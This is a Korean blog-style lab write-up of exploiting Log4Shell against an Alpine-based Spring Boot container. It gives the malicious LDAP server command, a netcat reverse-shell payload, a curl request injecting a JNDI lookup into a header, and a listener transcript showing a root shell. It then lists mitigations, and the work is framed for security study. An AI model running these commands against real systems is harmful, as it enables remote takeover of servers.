1. 들어가며
본 포스팅은 보안 연구 및 학습 목적으로 작성되었습니다. 실습은 반드시 격리된 가상 환경 또는 본인이 소유한 장비에서만 진행해야 하며, 허가받지 않은 타인의 시스템을 대상으로 하는 공격 시도는 정보통신망법 등에 의해 법적 처벌을 받을 수 있습니다. 작성자는 본 내용을 불법적으로 악용하여 발생하는 결과에 대해 책임지지 않습니다.
Log4Shell(CVE-2021-44228)은 이미 널리 알려진 취약점이지만 실제 환경 구성에 따라 공격 벡터가 달라질 수 있다는 점이 흥미로워 심층 연구를 진행했다.
이번 연구의 핵심은 대상 시스템이 Docker Container 기반의 Alpine Linux라는 점이다. 보통 실습 예제에서 많이 다루는 Ubuntu나 CentOS와 달리, Alpine은 초경량화된 OS라 기본 쉘 환경이 다르다. 이 차이로 인해 일반적인 공격 코드가 먹히지 않는 상황이 발생했고, 이를 어떻게 우회하여 쉘(Shell) 권한까지 획득했는지 그 과정을 기록으로 남긴다.
2. 연구 환경
취약점 재현 및 분석을 위해 다음과 같이 공격자와 피해자 환경을 구성하였습니다.
- 공격자
- Windows: 취약점 트리거용 HTTP 요청(Curl) 전송
- Ubuntu: 악성 LDAP 서버 및 리버스 쉘 리스너 구동
- 공격 대상
- Target: Log4j 2.14.1 버전이 포함된 Spring Boot 웹 애플리케이션
- OS: Alpine Linux
- IP: 192.168.0.4
3. 공격 수행 절차
전체 공격 흐름은 [인프라 구축] → [페이로드 설계] → [트리거] → [쉘 획득] 순으로 진행했다.
Step 1. 악성 LDAP 서버 준비
먼저 Log4j가 JNDI Lookup을 요청할 때 악성 객체를 내려줄 LDAP 서버가 필요하다. 이를 위해 RogueJNDI 도구를 사용해 공격자 서버(Ubuntu)에 1389 포트를 열어두었다.
java -jar RogueJndi-1.1.jar -command "$CMD" hostname "192.168.0.4"
Step 2. 페이로드 설계
연구 과정에서 가장 중요했던 단계다. 초기에는 관습적으로 bash -i >& ... 형태의 리버스 쉘 페이로드를 사용했으나, 연결이 되지 않았다.
원인을 분석해보니 타겟인 Alpine Linux에는 bash가 기본적으로 설치되어 있지 않았다. /bin/bash 자체가 없으니 명령어가 실패하는 게 당연했다.
환경 조사(Enumeration) 결과 다행히 nc(Netcat)는 설치되어 있는 것을 확인했다. 따라서 bash 의존성을 제거하고, nc를 이용해 /bin/sh를 실행하도록 공격 구문을 수정했다.
수정된 Payload:
nc 192.168.0.4 4444 -e /bin/sh
Step 3. 취약점 트리거
준비된 페이로드를 실행시키기 위해 웹 서버로 HTTP 요청을 보냈다. Log4j가 로그를 남길만한 헤더인 X-Api-Version에 JNDI 구문을 삽입했다.
curl -v "X-Api-Version: ${jndi:ldap://192.168.0.4:1389/o=tomcat}" http://192.168.0.4:8080/

[동작 원리]
1. 서버가 ${jndi:ldap://...} 구문을 로그로 기록하려 한다.
2. Log4j 취약점에 의해 해당 구문이 해석되어 공격자의 LDAP 서버로 접속한다.

3. LDAP 서버는 Step 2에서 준비한 nc 명령어가 담긴 악성 객체를 피해자에게 반환한다.

Step 4. 쉘 권한 획득
공격 실행 후 대기하고 있던 공격자 리스너(Port 4444) 상태를 확인했다.
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 ...
$ whoami
root

정상적으로 세션이 맺어졌고 whoami 명령어로 확인 결과 root 권한을 획득했음을 검증했다.
4. 대응 방안
이번 연구를 통해 확인된 취약점을 방어하기 위해 다음과 같은 조치가 필요하다.
- Log4j 패치: 가장 근본적인 해결책이다. 취약점이 해결된 2.17.1 이상 버전으로 업데이트해야 한다.
- Lookup 비활성화: 업데이트가 어렵다면 설정 파일에 log4j2.formatMsgNoLookups=true 옵션을 추가해 JNDI 기능을 꺼야 한다.
- Outbound 정책 강화: 사실 이게 가장 중요하다. 서버가 뜬금없이 외부의 LDAP 포트(389, 1389) 등으로 접속하려는 시도 자체를 방화벽에서 막아야 한다.
5. 연구 결론
이번 Log4Shell 연구를 통해 단순히 공개된 PoC(개념 증명) 코드를 돌리는 것과 실제 타겟 환경에 맞춰 익스플로잇을 수행하는 것은 큰 차이가 있음을 확인했다.
특히 OS가 무엇인지 어떤 도구가 설치되어 있는지(Bash vs Netcat) 파악하는 과정이 선행되지 않으면 공격은 성공할 수 없다. 방어자 입장에서는 불필요한 바이너리(nc 등)를 제거하고 최소 권한으로 컨테이너를 운영하는 것이 왜 중요한지 다시 한번 상기할 수 있었다.
댓글